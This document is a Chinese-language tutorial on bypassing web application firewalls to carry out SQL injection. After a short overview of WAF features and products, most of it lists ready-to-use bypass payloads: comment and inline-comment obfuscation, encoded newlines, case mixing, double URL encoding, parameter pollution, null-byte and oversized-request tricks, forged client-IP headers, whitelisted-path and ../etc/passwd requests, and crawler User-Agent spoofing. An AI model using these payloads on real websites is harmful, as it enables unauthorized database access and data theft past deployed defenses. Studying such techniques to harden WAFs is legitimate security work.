SQL注入-WAF绕过

WAF简介

功能

WAF(Web Application Firewall)的具有以下四个方面的功能:

  • 会话审计

    用来截获所有HTTP数据或者仅仅满足某些规则的会话

  • 访问控制

    用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

  • 架构/网络设计

    当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

  • WEB应用加固

    这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

常用功能包括:

1.网马木马主动防御及查杀

2.流量监控

3.网站漏洞防御

4.危险组件防御

5..Net安全保护模块

6.双层防盗链链接模式

7.网站特定资源防下载

8.CC攻击防护

9.网站流量保护

10.IP黑白名单

WAF防护手段

异常检测机制:拒绝不符合HTTP标准的请求

增强的输入验证:代理和服务端的验证,而不只是限于客户端验证

白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题

基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活

状态管理:重点进行会话保护

信息泄露保护:防止服务器信息泄露。

另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器,WAF有其识别之道:

扫描器识别主要由以下几点:

  1. 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
  2. 单IP+ cookie某时间段内触发规则次数
  3. 隐藏的链接标签等()
  4. Cookie植入
  5. 验证码验证,扫描器无法自动填充验证码
  6. 单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404

常见WAF产品

  • 硬件WAF

    如果是串联到链路中,则可以拦截恶意流量,如果是以旁路的形式部署,则只能记录攻击但是不能拦截。硬件型WAF一般而言比软件型WAF更加昂贵,但是检测速度快,不易称为网站瓶颈。

    如绿盟、启明、安恒、创宇、神州数码

  • 软件WAF

    安全狗、D盾、云锁、中间件自带的waf

  • 云WAF

    阿里云、安全狗、创宇、安恒等

WAF防护绕过

image-20220727205214531

特殊符号

在语句中添加某些特殊符号,并不会影响语句的执行效果。在waf绕过中,检测这些特殊符号干扰了检测机制,从而绕过检测。

通过注释符号/**/进行绕过

1
2
3
4
5
6
7
mysql> select database/**/();
+-------------+
| database () |
+-------------+
| security |
+-------------+
1 row in set (0.00 sec)

通过%0A为换行符;%23为#号;%20为空格实现绕过

1
2
3
4
5
6
7
8
9
10
11
select * from users where id=-1 /*%0a*/union/*%0a*/select/*%0a*/1,2,3
相当于
union
select
1,2,3

select * from users where id=-1 union%23a%0Aselect 1,2,3%23 // select a union的组合可以将安全狗屏蔽掉
相当于
union #a

select 1,2,3#

内联注释绕过/*!*/原理

/*!*/符号内语句不会注释,可以正常的执行。

/*!select * from users*/的结果如下:

img

  • /** #*/原理

    比如id=1/**&id=-1 union select 1,2,3#*/

    安全狗检测到的:id=1,以为/***/里面是注释不执行

    但是Apache检测到的:-1 union select 1,2,3#*/ 会以后一个id值为准

应用层

大小写/关键字替换

1
2
3
4
5
6
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()

编码解码及加密解密

hex,urlcode,base64等

比如关键字全部被拦截,那么尝试使用URL全编码的方式绕过拦截。由于服务器会自动对URL进行一次URL解码, 所以需要把关键词编码两次,这里需要注意的地方是,URL编码需选择全编码,而不是普通的URL编码。

更改请求提交方式

GET POST COOKIE等

POST->multipart/form-data

中间件HPP参数污染

HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。

参数污染源原理

在HTTP协议中允许同样名称的参数出现多次,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。

假设这个URL:http://www.xxxx.com/search.php?id=110&id=911,主要有三种情况。

百度会理解成让百度搜索: 110 # 选择了第一一个参数,放弃了第二个参数。

雅虎会理解成让雅虎搜索: 911 # 选择了第二个参数,放弃了第一个参数。

谷歌会理解成让谷歌搜索: 110 911 # 两个参数同时选择。

img

数据库特性

Mysql技巧

(1)mysql注释符有三种:#、//、– (注意–后面有一个空格)

(2)空格符:[0x09, 0x0a-0x0d, 0x20, 0xa0]

(3)特殊符号:%a 换行符

可结合注释符使用%23%0a,%2d%2d%0a。

(3)内联注释:

/*!UnIon12345SelEcT*/ 1,user()

//数字范围 1000-50540

(4)mysql黑魔法

select{x username}from{x11 test.admin};

SQL Server技巧

(1)用来注释掉注射后查询的其余部分:

/* C语言风格注释

– SQL注释

; 00% 空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a 冒号

id=1 union:select 1,2 from:admin

(4)函数变形:如db_name[空白字符]()

Oracle技巧

(1)注释符:–、/**/

(2)空白字符:[0x00, 0x09, 0x0a-0x0d, 0x20]

配合FUZZ

select * from admin where id=1【位置一】union【位置二】

select【位置三】1,2,db_name()【位置四】from【位置五】admin

逻辑层

逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。

比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

?a0=0&a1=1&…..&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

白名单

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。

测试方法:修改http的header来bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php 后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如

admin/manager/system等管理后台。

只要url中存在白名单的字符串,就作为白名单不进行检测。

常见的url构造:

http://10.9.9.201/sql.php/admin.php?id=1

http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd

http://10.9.9.201/../../../manage/../sql.asp?id=2

waf通过/manage/“进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单

部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

1、 根据UserAgent 2、通过行为来判断

UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

User Agent Switcher (Firefox 附加组件),下载地址:https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

缓冲区溢出

整合绕过